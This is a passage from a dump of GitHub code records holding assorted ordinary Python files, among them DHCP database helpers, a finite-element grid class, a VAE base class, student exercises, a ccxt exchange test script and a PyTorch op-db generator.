session.query(d_model.ReservedIP).filter_by(\n ip=ip, subnet_id=subnet_id).one_or_none()\n\n try:\n return row.mac\n except AttributeError:\n raise exceptions.MACNotFound(ip=ip, subnet_id=subnet_id)\n\n def get_dhcp_server_info(self, subnet_id):\n session = rdbms.get_session()\n with session.begin():\n dhcp_server_ip = self.get_dhcp_server_ip(session, subnet_id)\n if dhcp_server_ip is None:\n raise exceptions.DHCPNotFound(subnet_id)\n\n dhcp_server_mac = self.get_mac(session, subnet_id, dhcp_server_ip)\n\n return (dhcp_server_mac, dhcp_server_ip)\n\n def get_subnet_id(self, datapath, port, session=None):\n if session is None:\n session = rdbms.get_session()\n\n row = self.get_port(session=session, datapath_id=datapath,\n port=port)\n try:\n return row.subnet_id\n except AttributeError:\n raise exceptions.SubnetNotDefinedException(\n datapath_id=datapath,\n port=port)\n\n def get_parameter(self, subnet_id, mac=None):\n session = rdbms.get_session()\n with session.begin():\n row = self.get_parameters(session, subnet_id, mac)\n if row is None:\n row = self.get_parameters(session, subnet_id, None)\n\n try:\n return row.data\n except AttributeError:\n raise exceptions.ParameterNotFoundException(subnet_id=subnet_id)\n\n def get_next_server(self, datapath, port):\n session = rdbms.get_session()\n with session.begin():\n subnet_id = self.get_subnet_id(session=session, datapath=datapath,\n port=port)\n subnet = self.get_subnet(session, subnet_id)\n try:\n return subnet.next_server\n except AttributeError:\n raise exceptions.NextServerNotDefinedException(\n subnet_id=subnet_id)\n\n def get_ranges_in_subnet(self, subnet_id):\n session = rdbms.get_session()\n ranges = self.get_range(session, subnet_id)\n ip_ranges = []\n for ip_range in ranges:\n ip_ranges.append((ip_range.start_ip, ip_range.end_ip))\n\n return tuple(ip_ranges)\n\n def get_reserved_ip_in_subnet(self, subnet_id):\n session = rdbms.get_session()\n reserved_ips = self.get_reserved_ip_of_subnet(session, subnet_id)\n ips = []\n for ip in reserved_ips:\n ips.append(ip.ip)\n\n return tuple(ips)\n\n def get_mac_from_port(self, datapath_id, port):\n session = rdbms.get_session()\n port = self.get_port(session, datapath_id, port)\n try:\n return port.mac\n except AttributeError:\n raise exceptions.PortDoesNotExistException(datapath_id=datapath_id,\n port=port)\n\n def get_reserve_ip(self, mac, subnet_id):\n session = rdbms.get_session()\n ip = self.get_reserved_ip(session=session, mac=mac,\n subnet_id=subnet_id)\n try:\n return ip.ip\n except AttributeError:\n raise exceptions.CommittedIPNotFoundException(mac=mac,\n subnet_id=subnet_id)\n","repo_name":"thenakliman/susan","sub_path":"susan/db/rdbms/dhcp.py","file_name":"dhcp.py","file_ext":"py","file_size_in_byte":9663,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"44187950407","text":"numbers = input().split()\nnumbers = [int(num) for num in numbers]\n\nhalf_point_rounded = len(numbers) // 2\n\nleft_car_values = numbers[:half_point_rounded]\nright_car_values = numbers[half_point_rounded + 1:]\nright_car_values = right_car_values[::-1]\n\nfinish = numbers[half_point_rounded]\n\nleft_zeroes = left_car_values.count(0)\nright_zeroes = right_car_values.count(0)\n\nleft_car_time = 0\nright_car_time = 0\n\nfor element in left_car_values:\n if element == 0:\n left_car_time = left_car_time * 0.8\n else:\n left_car_time += element\n\nfor element in right_car_values:\n if element == 0:\n right_car_time = right_car_time * 0.8\n else:\n right_car_time += element\n\nif left_car_time < right_car_time:\n print(f\"The winner is left with total time: {left_car_time:.1f}\")\nelif right_car_time < left_car_time:\n print(f\"The winner is right with total time: {right_car_time:.1f}\")\n\n\n# ChatGPT solution\n# def announce_winner(times):\n# time_list = [float(time) for time in times.split()]\n# middle_index = len(time_list) // 2\n#\n# left_total_time = sum(time_list[:middle_index])\n# right_total_time = sum(time_list[middle_index + 1:])\n#\n# if 0 in time_list:\n# if left_total_time > 0:\n# left_total_time *= 0.8\n# if right_total_time > 0:\n# right_total_time *= 0.8\n#\n# winner = \"left\" if left_total_time < right_total_time else \"right\"\n# total_time = min(left_total_time, right_total_time)\n#\n# print(f\"The winner is {winner} with total time: {total_time:.1f}\")\n#\n#\n# input_times = input()\n# announce_winner(input_times)\n","repo_name":"JustaKris/Programming-Fundamentals-with-Python-SoftUni","sub_path":"11-12. List Basics/More Exercise/3_car_race.py","file_name":"3_car_race.py","file_ext":"py","file_size_in_byte":1609,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"4493193903","text":"\nfrom ibvpy.fets.i_fets_eval import IFETSEval\nfrom ibvpy.mesh.fe_grid import FEGrid\nfrom mathkit.matrix_la.sys_mtx_assembly import SysMtxArray\nfrom simulator.i_xdomain import IXDomain\nfrom traits.api import \\\n Property, cached_property, \\\n provides, Callable, \\\n Tuple, Int, Type, Array, Float, Instance, Bool, DelegatesTo\nfrom view.ui.bmcs_tree_node import BMCSTreeNode\n\nimport numpy as np\n\n\n@provides(IXDomain)\nclass XDomainFEGrid(BMCSTreeNode):\n\n hidden = Bool(False)\n #=========================================================================\n # Type and shape specification of state variables representing the domain\n #=========================================================================\n U_var_shape = Property(Int)\n\n def _get_U_var_shape(self):\n return self.mesh.n_dofs\n\n vtk_expand_operator = Property\n\n def _get_vtk_expand_operator(self):\n return self.fets.vtk_expand_operator\n\n K_type = Type(SysMtxArray)\n\n state_var_shape = Property(Tuple)\n\n def _get_state_var_shape(self):\n return (self.mesh.n_active_elems, self.fets.n_m,)\n\n #=========================================================================\n # Methods needed by XDomain to chain the subdomains\n #=========================================================================\n dof_offset = Property\n\n def _get_dof_offset(self):\n return self.mesh.dof_offset\n\n n_active_elems = Property\n\n def _get_n_active_elems(self):\n return self.mesh.n_active_elems\n\n def set_next(self, next_):\n self.mesh.next_grid = next_.mesh\n\n def set_prev(self, prev):\n self.mesh.prev_grid = prev.mesh\n\n #=========================================================================\n # Input parameters\n #=========================================================================\n coord_min = Array(Float, value=[0., 0., 0.], GEO=True)\n '''Grid geometry specification - min corner point\n '''\n coord_max = Array(Float, value=[1., 1., 1.], MESH=True)\n '''Grid geometry specification - max corner point\n '''\n shape = Array(Int, value=[1, 1, 1], MESH=True)\n '''Number of elements in the individual dimensions\n '''\n geo_transform = Callable\n '''Geometry transformation\n '''\n integ_factor = Float(1.0, input=True, CS=True)\n '''Integration factor used to multiply the integral\n '''\n fets = Instance(IFETSEval, input=True, FE=True)\n '''Finite element type\n '''\n\n dim_u = Int(2)\n\n Diff1_abcd = Array(np.float_, input=True)\n '''Symmetric operator distributing the first order\n derivatives of the shape functions into the \n tensor field\n '''\n\n def _Diff1_abcd_default(self):\n delta = np.identity(self.dim_u)\n # symmetrization operator\n Diff1_abcd = 0.5 * (\n np.einsum('ac,bd->abcd', delta, delta) +\n np.einsum('ad,bc->abcd', delta, delta)\n )\n return Diff1_abcd\n\n #=========================================================================\n # Finite element discretization respecting the FE definition\n #=========================================================================\n mesh = Property(Instance(FEGrid), depends_on='MESH,GEO')\n\n @cached_property\n def _get_mesh(self):\n return FEGrid(coord_min=self.coord_min,\n coord_max=self.coord_max,\n shape=self.shape,\n geo_transform=self.geo_transform,\n fets_eval=self.fets)\n\n x_Eia = Property(depends_on='MESH,GEO,CS,FE')\n\n def _get_x_Eia(self):\n x_Ia = self.mesh.X_Id\n I_Ei = self.mesh.I_Ei\n x_Eia = x_Ia[I_Ei, :]\n return x_Eia\n\n x_Ema = Property(depends_on='MESH,GEO,CS,FE')\n\n def _get_x_Ema(self):\n return np.einsum(\n 'im,Eia->Ema', self.fets.N_im, self.x_Eia\n )\n\n o_Ia = Property(depends_on='MESH,GEO,CS,FE')\n\n @cached_property\n def _get_o_Ia(self):\n x_Ia = self.mesh.X_Id\n n_I, _ = x_Ia.shape\n n_a = self.mesh.n_nodal_dofs\n do = self.mesh.dof_offset\n return do + np.arange(n_I * n_a, dtype=np.int_).reshape(-1, n_a)\n\n o_Eia = Property(depends_on='MESH,GEO,CS,FE')\n\n @cached_property\n def _get_o_Eia(self):\n I_Ei = self.mesh.I_Ei\n return self.o_Ia[I_Ei]\n\n B1_Einabc = Property(depends_on='MESH,GEO,CS,FE')\n '''Kinematic mapping between displacement and strain in every\n visualization point\n '''\n\n @cached_property\n def _get_B1_Einabc(self):\n inv_J_Enar = np.linalg.inv(self.J_Enar)\n return np.einsum(\n 'abcd,imr,Eidr->Eimabc',\n self.Diff1_abcd, self.fets.dN_inr, inv_J_Enar\n )\n\n I_Ei = Property(depends_on='MESH,GEO,CS,FE')\n '''[element, node] -> global node\n '''\n\n def _get_I_Ei(self):\n return self.mesh.I_Ei\n\n det_J_Em = Property(depends_on='MESH,GEO,CS,FE')\n '''Jacobi matrix in integration points\n '''\n @cached_property\n def _get_det_J_Em(self):\n return np.linalg.det(self.J_Emar)\n\n J_Emar = Property(depends_on='MESH,GEO,CS,FE')\n '''Jacobi matrix in integration points\n '''\n @cached_property\n def _get_J_Emar(self):\n return np.einsum(\n 'imr,Eia->Emar', self.fets.dN_imr, self.x_Eia\n )\n\n J_Enar = Property(depends_on='MESH,GEO,CS,FE')\n '''Jacobi matrix in nodal points\n '''\n @cached_property\n def _get_J_Enar(self):\n return np.einsum(\n 'inr,Eia->Enar',\n self.fets.dN_inr, self.x_Eia\n )\n\n #=========================================================================\n # Conversion between linear algebra objects and field variables\n #=========================================================================\n B1_Eimabc = Property(depends_on='MESH,GEO,CS,FE')\n '''Kinematic mapping between displacements and strains in every\n integration point.\n '''\n @cached_property\n def _get_B1_Eimabc(self):\n inv_J_Emar = np.linalg.inv(self.J_Emar)\n return np.einsum(\n 'abcd,inr,Eidr->Einabc',\n self.Diff1_abcd, self.fets.dN_imr, inv_J_Emar\n )\n\n B_Eimabc = Property(depends_on='MESH,GEO,CS,FE')\n '''Kinematic mapping between displacements and strains in every\n integration point.\n '''\n @cached_property\n def _get_B_Eimabc(self):\n return self.B1_Eimabc\n\n BB_Emicjdabef = Property(depends_on='MESH,GEO,CS,FE')\n '''Quadratic form of the kinematic mapping.\n '''\n\n def _get_BB_Emicjdabef(self):\n return np.einsum(\n '...Eimabc,...Ejmefd, Em, m->...Emicjdabef',\n self.B_Eimabc, self.B_Eimabc, self.det_J_Em, self.fets.w_m\n )\n\n n_dofs = Property\n\n def _get_n_dofs(self):\n return self.mesh.n_dofs\n\n def map_U_to_field(self, U):\n n_c = self.fets.n_nodal_dofs\n U_Eia = U[self.o_Eia]\n eps_Emab = np.einsum(\n 'Eimabc,Eic->Emab',\n self.B_Eimabc, U_Eia\n )\n return eps_Emab\n\n def map_field_to_F(self, sig_Emab):\n _, n_i, _, _, _, n_c = self.B_Eimabc.shape\n f_Eic = self.integ_factor * np.einsum(\n 'm,Eimabc,Emab,Em->Eic',\n self.fets.w_m, self.B_Eimabc, sig_Emab, self.det_J_Em\n )\n f_Ei = f_Eic.reshape(-1, n_i * n_c)\n o_E = self.o_Eia.reshape(-1, n_i * n_c)\n return o_E.flatten(), f_Ei.flatten()\n\n def map_field_to_K(self, D_Emabef):\n K_Eicjd = self.integ_factor * np.einsum(\n 'Emicjdabef,Emabef->Eicjd',\n self.BB_Emicjdabef, D_Emabef\n )\n _, n_i, n_c, n_j, n_d = K_Eicjd.shape\n K_Eij = K_Eicjd.reshape(-1, n_i * n_c, n_j * n_d)\n o_Ei = self.o_Eia.reshape(-1, n_i * n_c)\n return SysMtxArray(mtx_arr=K_Eij, dof_map_arr=o_Ei)\n\n debug_cell_data = Bool(False)\n # @todo - comment this procedure`\n\n def get_vtk_cell_data(self, position, point_offset, cell_offset):\n if position == 'nodes':\n subcell_offsets, subcell_lengths, subcells, subcell_types = \\\n self.fets.vtk_node_cell_data\n elif position == 'int_pnts':\n subcell_offsets, subcell_lengths, subcells, subcell_types = \\\n self.fets.vtk_ip_cell_data\n\n if self.debug_cell_data:\n print('subcell_offsets')\n print(subcell_offsets)\n print('subcell_lengths')\n print(subcell_lengths)\n print('subcells')\n print(subcells)\n print('subcell_types')\n print(subcell_types)\n\n n_subcells = subcell_types.shape[0]\n n_cell_points = self.n_cell_points\n subcell_size = subcells.shape[0] + n_subcells\n\n if self.debug_cell_data:\n print('n_cell_points', n_cell_points)\n print('n_cells', self.n_cells)\n\n vtk_cell_array = np.zeros((self.n_cells, subcell_size), dtype=int)\n\n idx_cell_pnts = np.repeat(True, subcell_size)\n\n if self.debug_cell_data:\n print('idx_cell_pnts')\n print(idx_cell_pnts)\n\n idx_cell_pnts[subcell_offsets] = False\n\n if self.debug_cell_data:\n print('idx_cell_pnts')\n print(idx_cell_pnts)\n\n idx_lengths = idx_cell_pnts == False\n\n if self.debug_cell_data:\n print('idx_lengths')\n print(idx_lengths)\n\n point_offsets = np.arange(self.n_cells) * n_cell_points\n point_offsets += point_offset\n\n if self.debug_cell_data:\n print('point_offsets')\n print(point_offsets)\n\n vtk_cell_array[:, idx_cell_pnts] = point_offsets[\n :, None] + subcells[None, :]\n vtk_cell_array[:, idx_lengths] = subcell_lengths[None, :]\n\n if self.debug_cell_data:\n print('vtk_cell_array')\n print(vtk_cell_array)\n\n n_active_cells = self.mesh.n_active_elems\n\n if self.debug_cell_data:\n print('n active cells')\n print(n_active_cells)\n\n cell_offsets = np.arange(n_active_cells, dtype=int) * subcell_size\n cell_offsets += cell_offset\n vtk_cell_offsets = cell_offsets[:, None] + subcell_offsets[None, :]\n\n if self.debug_cell_data:\n print('vtk_cell_offsets')\n print(vtk_cell_offsets)\n\n vtk_cell_types = np.zeros(\n self.n_cells * n_subcells, dtype=int\n ).reshape(self.n_cells, n_subcells)\n vtk_cell_types += subcell_types[None, :]\n\n if self.debug_cell_data:\n print('vtk_cell_types')\n print(vtk_cell_types)\n\n return (vtk_cell_array.flatten(),\n vtk_cell_offsets.flatten(),\n vtk_cell_types.flatten())\n\n n_cells = Property(Int)\n\n def _get_n_cells(self):\n '''Return the total number of cells'''\n return self.mesh.n_active_elems\n\n n_cell_points = Property(Int)\n\n def _get_n_cell_points(self):\n '''Return the number of points defining one cell'''\n return self.fets.n_vtk_r\n\n\nif __name__ == '__main__':\n from ibvpy.fets.fets1D5.fets1d52ulrhfatigue import FETS1D52ULRHFatigue\n xd = XDomainFEGrid(coord_max=(1,), shape=(1,),\n dim_u=2, fets=FETS1D52ULRHFatigue())\n print(xd.BB_Emicjdabef.shape)\n print(xd.get_vtk_cell_data('nodes', 0, 0))\n","repo_name":"simvisage/bmcs","sub_path":"simulator/xdomain/xdomain_fe_grid.py","file_name":"xdomain_fe_grid.py","file_ext":"py","file_size_in_byte":11303,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"32659263917","text":"from dataclasses import dataclass, field, asdict\n\nclass NodeMixin:\n def __children(self):\n try:\n return self._children\n except AttributeError:\n self._children = []\n return self._children\n\n @property\n def children(self):\n return tuple(self.__children())\n\n def add_child(self, new_child):\n if new_child is not None and not isinstance(new_child, NodeMixin):\n raise RuntimeError(f\"Child node {new_child} is not of type 'NodeMixin'.\")\n if new_child is self:\n raise RuntimeError(f\"Cannot set Child. {self} cannot be a child of itself.\")\n\n self.__children().append(new_child)\n\n @property\n def height(self):\n children = self.__children()\n if children:\n return max(child.height for child in children) + 1\n else:\n return 0\n\n\n@dataclass\nclass Course(NodeMixin):\n section: str = ''\n code: str = ''\n title: str = ''\n units: str = ''\n description: str = ''\n corequisites: list[str] = field(default_factory=list)\n prerequisites: list[str] = field(default_factory=list)\n\n @property\n def name(self) -> str:\n return self.section + ' ' + self.code\n\n def __dict__(self) -> dict:\n return asdict(self)\n\n def __str__(self) -> str:\n return self.name\n\n def build_tree(self, cat):\n for prerequisite in self.prerequisites:\n try:\n self.add_child(cat[prerequisite])\n except (KeyError, TypeError):\n # print(f'{prerequisite} not found')\n continue\n except RuntimeError as re:\n print(re)\n\n\nclass RenderTree:\n def __init__(self, node):\n self.node = node\n self.seen = set()\n\n def __iter__(self):\n return self.__next(self.node, tuple())\n\n def __next(self, node, continues):\n if id(node) in self.seen:\n return\n else:\n self.seen.add(id(node))\n\n if not continues: # if there's nothing to print\n yield '', node # yield nothing\n else:\n shapes = ['│ ' if cont else ' ' for cont in continues] # build all the shapes\n indent = ''.join(shapes[:-1]) # everything but the last one is part of the indent\n branch = '├── ' if continues[-1] else '└── ' # this is based on if it is the last child\n prefix = indent + branch\n yield prefix, node\n\n for i, child in enumerate(node.children):\n for grandchild in self.__next(child, continues + (i != len(node.children) - 1, )):\n yield grandchild","repo_name":"amirt01/Better-Courses","sub_path":"Course.py","file_name":"Course.py","file_ext":"py","file_size_in_byte":2654,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"23254924389","text":"import torch\nfrom torch import nn, Tensor\nfrom torch.nn import functional as F\nfrom abc import abstractmethod\nfrom typing import List, Callable, Union, Any, TypeVar, Tuple\nfrom .util import reparameterize\n\n\nclass BaseVAE(nn.Module):\n def __init__(self,\n name: str,\n latent_dim: int) -> None:\n super(BaseVAE, self).__init__()\n self.name = name\n self.latent_dim = latent_dim\n\n @abstractmethod\n def encode(self, input: Tensor) -> List[Tensor]:\n raise NotImplementedError\n\n @abstractmethod\n def decode(self, input: Tensor, **kwargs) -> Any:\n raise NotImplementedError\n\n def get_sandwich_layers(self) -> List[nn.Module]:\n raise NotImplementedError\n\n @abstractmethod\n def get_encoder(self) -> List[nn.Module]:\n raise NotImplementedError\n\n def forward(self, x: Tensor, **kwargs) -> List[Tensor]:\n mu, log_var = self.encode(x)\n z = reparameterize(mu, log_var)\n y = self.decode(z, **kwargs)\n return [y, x, mu, log_var, z]\n\n def sample(self,\n num_samples: int,\n current_device: int, **kwargs) -> Tensor:\n \"\"\"\n Samples from the latent space and return the corresponding\n image space map.\n :param num_samples: (Int) Number of samples\n :param current_device: (Int) Device to run the model\n :return: (Tensor)\n \"\"\"\n z = torch.randn(num_samples,\n self.latent_dim)\n z = z.to(current_device)\n samples = self.decode(z)\n return samples\n\n def generate(self, x: Tensor, **kwargs) -> Tensor:\n \"\"\"\n Given an input image x, returns the reconstructed image\n :param x: (Tensor) [B x C x H x W]\n :return: (Tensor) [B x C x H x W]\n \"\"\"\n\n return self.forward(x)[0]\n\n def loss_function(self,\n recons: Tensor,\n input: Tensor,\n mu: Tensor,\n log_var: Tensor,\n z: Tensor,\n objective: str = 'default',\n beta: float = 1.0,\n gamma: float = 1.0,\n target_capacity: float = 25.0,\n **kwargs) -> dict:\n recons_loss = F.mse_loss(recons, input)\n\n result = {'loss': recons_loss,\n 'Reconstruction_Loss': recons_loss}\n\n kld_loss = torch.mean(-0.5 * torch.sum(1 +\n log_var - mu ** 2 - log_var.exp(), dim=1), dim=0)\n result['KLD_Loss'] = kld_loss\n\n if objective == 'default':\n # O.G. beta loss term applied directly to KLD\n result['loss'] += beta * kld_loss\n elif objective == 'controlled_capacity':\n # Use controlled capacity increase from\n # https://arxiv.org/pdf/1804.03599.pdf\n capacity_loss = torch.abs(kld_loss - target_capacity)\n result['Capacity_Loss'] = capacity_loss\n result['loss'] += gamma * capacity_loss\n else:\n raise ValueError(f'unknown objective \"{objective}\"')\n\n return result\n","repo_name":"thavlik/machine-learning-portfolio","sub_path":"src/models/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":3177,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"37"} +{"seq_id":"26649457071","text":"print(\"--------calculadora de divisas--------\")\nprint(\"pesos mexicanos y colombianos\")\n\nE = int(input(\"ingresa 1 si quieres pesos COL a MEX y 2 de MEX a COL\"))\n\nif(E == 1):\n pcol = int(input(\"dime la cantidad de pesos colombianos\")) \n resultado = pcol * 0.0057\n print(\"el resultado de tu calculo es \" + str(resultado))\nif(E == 2):\n pmew = float(input(\"dime la cantidad de pesos mexicanos\"))\n resultado = pmew * 176.54 \n print(\"el resultado de tu calculo es \" + str(resultado))\n","repo_name":"jf1130/Programas","sub_path":"Ejercicio20.py","file_name":"Ejercicio20.py","file_ext":"py","file_size_in_byte":495,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"41277330057","text":"from gym.envs.registration import register\n\nfor game in ['LockBernoulli', 'LockGaussian', 'SparseMountainCar', 'DiabolicalCombLock']:\n register(\n id='{}-v0'.format(game),\n entry_point=f'gym_exploration.envs:{game}Env'\n )\n\nregister(\n id='{}-v1'.format('NChain'),\n entry_point=f'gym_exploration.envs:NChainEnv'\n)","repo_name":"qlan3/gym-games","sub_path":"gym_exploration/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":320,"program_lang":"python","lang":"en","doc_type":"code","stars":63,"dataset":"github-code","pt":"37"} +{"seq_id":"14726335944","text":"\"\"\"\nFunctions to manage file input and output\n\n@authour William McElhenney\n@date 12/1/2019\n\"\"\"\n\n# Imports\nimport re # regular expressions\n\n\"\"\"\nGenerator function for yielding the labels and sequences from the input file.\n\n@param path: string representation of the input file path\n\"\"\"\ndef gen_sequences(path):\n\n\t# allows us to read data with the same labels\n\tindex = dict()\n\n\t# yieldables\n\tlabel = None\n\tsequence = None\n\t\n\t# regex patterns\n\tseq_pattern = re.compile(r'^(?P\\S+)\\s*=\\s*(?P.+)\\s*$')\n\tcomment_pattern = re.compile(r'^#.*\\s*$')\n\n\twith open(path) as file:\n\t\t# parse each line\n\t\tfor line in file:\n\t\t\t# ignore commented lines\n\t\t\tif re.fullmatch(comment_pattern, line):\n\t\t\t\tcontinue\n\t\t\t\n\t\t\t# ignore unclear sequences (those that have two or more equal signs)\n\t\t\t# I couldn't make a regex that worked for this for some reason\n\t\t\tequality_count = 0\n\t\t\tfor char in line:\n\t\t\t\tif char == '=':\n\t\t\t\t\tequality_count += 1\n\t\t\t\t\tif equality_count > 1:\n\t\t\t\t\t\tbreak\n\n\t\t\tif equality_count > 1:\n\t\t\t\tcontinue\n\n\t\t\t# Parse for valid sequences\n\t\t\tmatch = re.fullmatch(seq_pattern, line)\n\t\t\t\n\t\t\t# if the sequence is valid\n\t\t\tif match:\n\t\t\t\t# parse the sequence\n\t\t\t\tlabel = match.group('name')\n\t\t\t\tsequence = match.group('seq')\n\n\t\t\t\t# check that a full sequence did get read\n\t\t\t\t# makes sure that there's no 'empty' data of the form 'label = '\n\t\t\t\tif len(sequence) < 2:\n\t\t\t\t\tcontinue\n\n\t\t\t\t# update the label as necessary\n\t\t\t\tif label in index:\n\t\t\t\t\tindex[label] += 1\n\t\t\t\t\tlabel = f\"{label}_{index[label]}\"\n\n\t\t\t\t# append the label index\n\t\t\t\telse:\n\t\t\t\t\tindex[label] = 0\n\t\t\t\t\n\t\t\t# prevent yielding None, None\n\t\t\telse:\n\t\t\t\tif not re.fullmatch(r'\\s*', line):\n\t\t\t\t\tprint(f\"WARNING: Failed to parse line: {line}\")\n\t\t\t\tcontinue\n\n\t\t\t# yield the label, seq tuple\n\t\t\tyield label, sequence\n\n\treturn None\n\n\"\"\"\nFunction for writing the table to the output file, path.\nCalls the table's to_string() and pulls the statistics.\n\n@param seq1_name: label of the first sequence\n@param seq2_name: label of the second sequence\n@param lcs_seq: longest common sequence identified\n@param path: string representation of the output file path of the\n\"\"\"\ndef write_outp(seq1_name, seq2_name, lcs_seq, path):\n\n\twith open(path, 'a') as file:\n\t\t# report the compared sequences and their LCS and LCS length\n\t\tfile.write(f\"LCS of {seq1_name} and {seq2_name}:\\n\")\n\t\tfile.write(f\"\\t{lcs_seq}: Length {len(lcs_seq)}\\n\")\n\n\"\"\"\nFunction for initializing the output file. Erases already existiing data and\nmirrors the input set's labels in the output file.\n\n@param in_path: input file path\n@param out_path: output file path.\n\"\"\"\ndef init_outp(in_path, out_path):\n\n\twith open(out_path, 'w') as file:\n\t\t# Report the input in the outputs\n\t\tfile.write(\"Read in the sequences labeled: \\n\")\n\t\tfor label, _ in gen_sequences(in_path):\n\t\t\tfile.write(f\"\\t{label}\\n\")\n\n\t\t# Insert Divider\n\t\tfile.write(\"=\" * 78 + \"\\n\")\n","repo_name":"WillMc93/AS.605.620","sub_path":"Project3/code/fileIO.py","file_name":"fileIO.py","file_ext":"py","file_size_in_byte":2860,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"11319566612","text":"import config\n\nimport ccxt\n\nexchange_ids = [\n 'whitebit',\n # 'vinex',\n]\n\n\ndef test_public_api():\n print('>>>>>>>>>>>> Test public API <<<<<<<<<<<<')\n\n for exchange_id in exchange_ids:\n exchange_class = getattr(ccxt, exchange_id)\n\n api = exchange_class()\n\n print(f'>>> Test exchange: {exchange_id}')\n\n # 1. Markets\n # print(f\"- Markets: {api.fetch_markets()}\")\n\n # 2. Ticker\n # print(f\"- Ticker: {api.fetch_ticker('BTC/USDT')}\")\n\n # 3. Order book\n # order_book = api.fetch_order_book('BTC/USDT')\n # print(f\"- Order Book: len={len(order_book)}, order_book={order_book}\")\n\n # 4. Trades\n # trades = api.fetch_trades('BTC/USDT')\n # print(f\"- Trades: len={len(trades)}, trades={trades}\")\n\n\ndef test_private_api():\n print('>>>>>>>>>>>> Test private API <<<<<<<<<<<<')\n\n for exchange_id in exchange_ids:\n exchange_class = getattr(ccxt, exchange_id)\n\n # api = exchange_class()\n\n api_key = config.api_key['whitebit-dev']\n\n api = exchange_class({\n 'apiKey': api_key['apiKey'],\n 'secret': api_key['secret'],\n })\n\n print(f'>>> Test exchange: {exchange_id}')\n\n # symbol = 'BTC/USDT'\n symbol = 'XST/BTC'\n\n # 1. Balances\n # balances = api.fetch_balance()['XST']\n # print(f'- Balances: {balances}')\n\n # 2. List Orders\n # open_orders = api.fetch_open_orders(symbol)\n # print(f'- Open Orders: len={len(open_orders)}, orders={open_orders}')\n\n # # closed_orders = api.fetch_closed_orders(symbol, since=int(time.time() * 1000))\n # # closed_orders = api.fetch_closed_orders(symbol, limit=1)\n # closed_orders = api.fetch_closed_orders(symbol)\n # print(f'- Open Orders: len={len(closed_orders)}, orders={closed_orders}')\n\n # # orders = api.fetch_orders() # Some exchange don't support get orders for all markets\n # orders = api.fetch_orders(symbol)\n # print(f'- Orders: len={len(orders)}, orders={orders}')\n\n # 2. Create Order\n # order = api.create_order(symbol, 'limit', 'sell', 1, 100)\n # print(f'- Order: {order}')\n\n # 3. Cancel Order\n order = api.cancel_order(id=193106610, symbol=symbol)\n print(f'- Order: {order}')\n\n\nif __name__ == '__main__':\n # test_public_api()\n\n test_private_api()\n","repo_name":"vinexnetwork/vinex-ccxt","sub_path":"test/test_ex_ccxt.py","file_name":"test_ex_ccxt.py","file_ext":"py","file_size_in_byte":2401,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"73862932908","text":"def create_a_file():\n lines = []\n for i in range(6):\n line = input(\"Enter the line:\")\n lines.append(line)\n \n file_name = \"neeraj.txt\"\n with open(file_name,'w') as file:\n file.writelines(lines)\n \n return file_name\n\ndef count_uppercase_lowercase_digits(file_name):\n uc = 0\n lc = 0\n dig = 0\n \n with open(file_name,'r') as file:\n contents = file.read()\n \n for char in contents:\n if char.isupper():\n uc = uc + 1\n elif char.islower():\n lc = lc + 1\n elif char.isdigit():\n dig = dig + 1\n return uc,lc,dig\n\ndef read_contents(file_name):\n with open(file_name,'r') as file:\n contents = file.read()\n print(contents)\nfile_name = create_a_file()\nu,l,d = count_uppercase_lowercase_digits(file_name)\nprint(u)\nprint(l)\nprint(d)\n","repo_name":"neerajmayur19/Python_Programs_Sem4","sub_path":"Program16.py","file_name":"Program16.py","file_ext":"py","file_size_in_byte":887,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"30353398770","text":"from typing import List, Tuple\nfrom torch.testing._internal.common_methods_invocations import op_db\n\n\ndef num_leading_spaces(line: str) -> int:\n result = len(line) - len(line.lstrip())\n # Empty space handling\n if result == 0:\n return 999999\n return result\n\n\ndef deindent(code: str) -> str:\n lines = code.split(\"\\n\")\n min_leading_spaces = min(map(num_leading_spaces, lines))\n lines = [line[min_leading_spaces:] for line in lines]\n return \"\\n\".join(lines)\n\n\nif __name__ == \"__main__\":\n supported: List[Tuple[str, str]] = [\n (opinfo.name, opinfo.variant_test_name) for opinfo in op_db\n ]\n supported = sorted(supported)\n print(\n deindent(\n \"\"\"\\\n # Copyright (c) Facebook, Inc. and its affiliates.\n # All rights reserved.\n #\n # This source code is licensed under the BSD-style license found in the\n # LICENSE file in the root directory of this source tree.\n from typing import List\n from torch.testing._internal.common_methods_invocations import op_db, OpInfo\n # Generated from test/gen_dtensor_op_db.py via\n # python spmd/testing/gen_dtensor_lagging_op_db.py > spmd/testing/dtensor_lagging_op_db.py\n #\n # This approach is copied from functorch:\n # People add new OpInfos to PyTorch all the time.\n # We want them to be able to add OpInfos without breaking our CI.\n # To achieve this, we keep our OpInfo library behind that of Pytorch's and\n # we periodically update our OpInfo library by regenerating this file\"\"\"\n )\n )\n\n print(\"_dtensor_lagging_meta = {\")\n for name, variant in supported:\n print(f\" {(name, variant)},\")\n print(\"}\")\n\n print(\n deindent(\n \"\"\"\\\n def in_dtensor_lagging_op_db(opinfo: OpInfo) -> bool:\n return (opinfo.name, opinfo.variant_test_name) in _dtensor_lagging_meta\n\n dtensor_lagging_op_db: List[OpInfo] = [\n opinfo for opinfo in op_db if in_dtensor_lagging_op_db(opinfo)\n ]\"\"\"\n )\n )\n","repo_name":"robit-man/AGX-ORIN-TORCH-PACKAGES","sub_path":"site-packages/torch/testing/_internal/distributed/_tensor/gen_dtensor_lagging_op_db.py","file_name":"gen_dtensor_lagging_op_db.py","file_ext":"py","file_size_in_byte":1996,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"5543496391","text":"from BitSightAPI.client import 